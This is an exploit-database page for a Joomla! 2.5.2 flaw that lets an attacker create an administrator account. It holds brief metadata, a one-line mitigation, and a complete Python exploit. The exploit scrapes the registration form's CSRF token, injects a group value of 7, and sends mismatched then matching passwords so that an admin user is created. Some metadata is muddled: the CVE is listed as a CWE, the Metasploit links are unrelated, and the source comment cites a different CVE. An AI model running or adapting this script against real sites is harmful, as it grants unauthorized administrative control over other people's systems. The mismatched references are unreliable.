Joomla! - exploit.company

vendor:

Joomla!

by:

7,5

CVSS

HIGH

Account Creation

287

CWE

Product Name: Joomla!

Affected Version From: 2.5.2

Affected Version To: 2.5.2

Patch Exists: YES

Related CWE: CVE-2012-1563

CPE: 2.5.2

Metasploit: https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2013-1455/, https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2013-1456/

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2016

Joomla! <= 2.5.2 Admin Creation

This exploit allows an attacker to create an admin account in Joomla! version 2.5.2 and below. The attacker can use a random username and email address, and a known password. The exploit works by sending two requests to the registration form, the first one with mismatched passwords and the second one with the correct password. This will create an admin account in the system.

Mitigation:

Upgrade to the latest version of Joomla! and ensure that all components are up to date.

Source

Exploit-DB raw data:

#!/usr/bin/python3
# CVE-2012-1563: Joomla! <= 2.5.2 Admin Creation
# cf
# Source: https://www.ambionics.io/blog/cve-2016-9838-joomla-account-takeover-and-remote-code-execution

import bs4
import requests
import random


url = 'http://vmweb.lan/joomla-cms-2.5.2/'
form_url = url + 'index.php/using-joomla/extensions/components/users-component/registration-form'
action_url = url + 'index.php/using-joomla/extensions/components/users-component/registration-form?task=registration.register'

username = 'user%d' % random.randrange(1000, 10000)
email = username + '@yopmail.com'
password = 'ActualRandomChimpanzee123'

user_data = {
    'name': username,
    'username': username,
    'password1': password,
    'password2': password + 'XXXinvalid',
    'email1': email,
    'email2': email,
    'groups][': '7'
}

session = requests.Session()

# Grab original data from the form, including the CSRF token

response = session.get(form_url)
soup = bs4.BeautifulSoup(response.text, 'lxml')

form = soup.find('form', id='member-registration')
data = {e['name']: e['value'] for e in form.find_all('input')}

# Build our modified data array

user_data = {'%s]' % k: v for k, v in user_data.items()}
data.update(user_data)

# First request will get denied because the two passwords are mismatched

response = session.post(action_url, data=data)

# The second will work

data['jform[password2]'] = data['jform[password1]']
del data['jform[groups][]']
response = session.post(action_url, data=data)

print("Account created for user: %s [%s]" % (username, email))